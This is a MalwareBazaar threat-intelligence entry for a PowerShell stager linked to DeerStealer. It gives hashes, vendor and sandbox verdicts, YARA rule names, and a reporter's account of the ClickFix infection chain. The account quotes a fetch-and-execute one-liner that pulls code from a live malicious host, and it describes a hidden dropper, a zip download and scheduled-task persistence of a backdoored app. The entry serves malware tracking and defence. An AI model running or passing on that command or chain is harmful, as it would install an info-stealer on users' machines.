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MalwareBazaar Database

You are currently viewing the MalwareBazaar entry for SHA256 cc3f06e03909b972c27a69c98ff5d768fd6dbd98ebdcd55720e24b5305e9f404. While MalwareBazaar tries to identify whether the sample provided is malicious or not, there is no guarantee that a sample in MalwareBazaar is malicious.

Database Entry


DeerStealer


Vendor detections: 8


Intelligence 8 IOCs YARA 2 File information Comments
Download sample Add tag Delete this sample Report a False Positive

SHA256 hash: cc3f06e03909b972c27a69c98ff5d768fd6dbd98ebdcd55720e24b5305e9f404
SHA3-384 hash: bcbdffbe5023d522252e7ed4668fde506406deb15355cc2f0602e85574354a611dd1a34178e9853a3ad39828f9bbd0eb
SHA1 hash: f17dfe8aa502d4131ebd87d1e44dbb3dc79f3522
MD5 hash: 5cfcab352b3a129b0e52e18cc49629f7
humanhash: video-texas-ack-single
File name:r.ps1
Download: download sample
Signature DeerStealer
Create hunting rule
File size:2'223 bytes
First seen:2026-10-12 15:32:38 UTC
Last seen:Never
File type:PowerShell (PS) ps1
MIME type:text/plain
ssdeep 48:QUpsMiswgZHRu476N4WvVZ6Gt5Zc0yEzWZJ1HGgFX2+Kk6j9WZJST1UWCky:5HsgJ57mvWqUWE1HGgFX4+CUVl
TLSH T1F341B794DAD43622CA94427552E8EDEB470D756A18B11C94EF1AEC9A3ECC05A04BD2C7
Magika powershell
Reporter Daydream
Tags:ClickFix DeerStealer ps1 stager


Avatar
Daydream
Served at http://cocuktekstil.com/r on 2026-10-12 15:23 UTC (PowerShell 5.1 user agent). ClickFix lure pages plant an obfuscated 'Invoke-RestMethod cocuktekstil.com/r | iex' one-liner ending '# Gateway Verification - Challenge Response ID: <n>'. The script writes an embedded base64 script (sha256 faeabf9f7915d3faf3db7e0ef054b1a1da15a74e824e6dfeb5d5453af84fbca2) to %TEMP% and runs it hidden; that one waits 20 s, downloads https://threejrev.com/g.php (github.zip 5ab3080efc9f1563677b49e1c36b1937a38e4bee2f1c259d8da79c0e06ab1045), unpacks to %USERPROFILE%\gynnnhjaya\ and starts GitHubDesktop.exe through the scheduled task 'taskvwawjg'. The backdoor is resources/app/main.js (416242568b18fd669338b6da2f8d3e084160bf6b2b91ac12ef3f3e8434b69e53).

Intelligence

File Origin
# of uploads :
1
# of downloads :
115
Origin country :
US US
Vendor Threat Intelligence
No detections
Detection(s):
SecuriteInfo.com.PowerShell.DownLoader.3303.22003.2811.UNOFFICIAL
Create hunting rule

Verdict:
Malicious
Threat level:
  10/10
Confidence:
100%
Tags:
base64 captcha evasive obfuscated powershell
Link:
https://www.filescan.io/uploads/6accfdbba75b5c06337b040a/reports/011a3ea2-6c83-4fc7-93ea-12fb72c25611/overview
Verdict:
Unknown
Link:
https://www.hybrid-analysis.com/sample/cc3f06e03909b972c27a69c98ff5d768fd6dbd98ebdcd55720e24b5305e9f404
Verdict:
Malicious
File Type:
ps1
First seen:
2026-10-12T01:24:00Z UTC
Last seen:
2026-10-12T23:45:00Z UTC
Hits:
~100
Link:
https://opentip.kaspersky.com/cc3f06e03909b972c27a69c98ff5d768fd6dbd98ebdcd55720e24b5305e9f404/results?tab=lookup
Score:
100%
Verdict:
Malware
File Type:
SCRIPT
Link:
https://malprob.io/report/cc3f06e03909b972c27a69c98ff5d768fd6dbd98ebdcd55720e24b5305e9f404
Verdict:
Malware
YARA:
2 match(es)
Tags:
Base64 Block Contains Base64 Block DeObfuscated PowerShell T1027 T1059.001 T1105
Link:
https://app.malva.re/file/5cfcab352b3a129b0e52e18cc49629f7
Detection:
n/a
Link:
https://mwdb.cert.pl/sample/cc3f06e03909b972c27a69c98ff5d768fd6dbd98ebdcd55720e24b5305e9f404/
Threat name:
Win32.Trojan.Alien
Create hunting rule
Status:
Malicious
First seen:
2026-10-12 12:36:26 UTC
File Type:
Text (PowerShell)
AV detection:
9 of 38 (23.68%)
Threat level:
  5/5
Detection(s):
Suspicious file
Link:
https://check.spamhaus.org/check/?searchterm=zq7qnybzbg4xfqt2nhey75oxnd6w3pmy5ponkvza4jfvgbpj6qca._file
Result
Malware family:
n/a
Score:
  8/10
Tags:
execution
Link:
https://tria.ge/reports/261012-szaapatv2r/
Behaviour
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
Badlisted process makes network request
Command and Scripting Interpreter: PowerShell
Please note that we are no longer able to provide a coverage score for Virus Total.
Threat name:
Malicious File
Score:
1.00
Link:
https://yomi.yoroi.company/submissions/cc3f06e03909b972c27a69c98ff5d768fd6dbd98ebdcd55720e24b5305e9f404

YARA Signatures

MalwareBazaar uses YARA rules from several public and non-public repositories, such as YARAhub and Malpedia. Those are being matched against malware samples uploaded to MalwareBazaar as well as against any suspicious process dumps they may create. Please note that only results from TLP:CLEAR rules are being displayed.

Rule name:Base64_Encoded_Powershell_Directives
Create hunting rule
Rule name:Sus_CMD_Powershell_Usage
Create hunting rule
Author:XiAnzheng
Description:May Contain(Obfuscated or no) Powershell or CMD Command that can be abused by threat actor(can create FP)

File information

The table below shows additional information about this malware sample such as delivery method and external references.

Web download

DeerStealer

PowerShell (PS) ps1 cc3f06e03909b972c27a69c98ff5d768fd6dbd98ebdcd55720e24b5305e9f404

(this sample)

  
Delivery method
Distributed via web download

Comments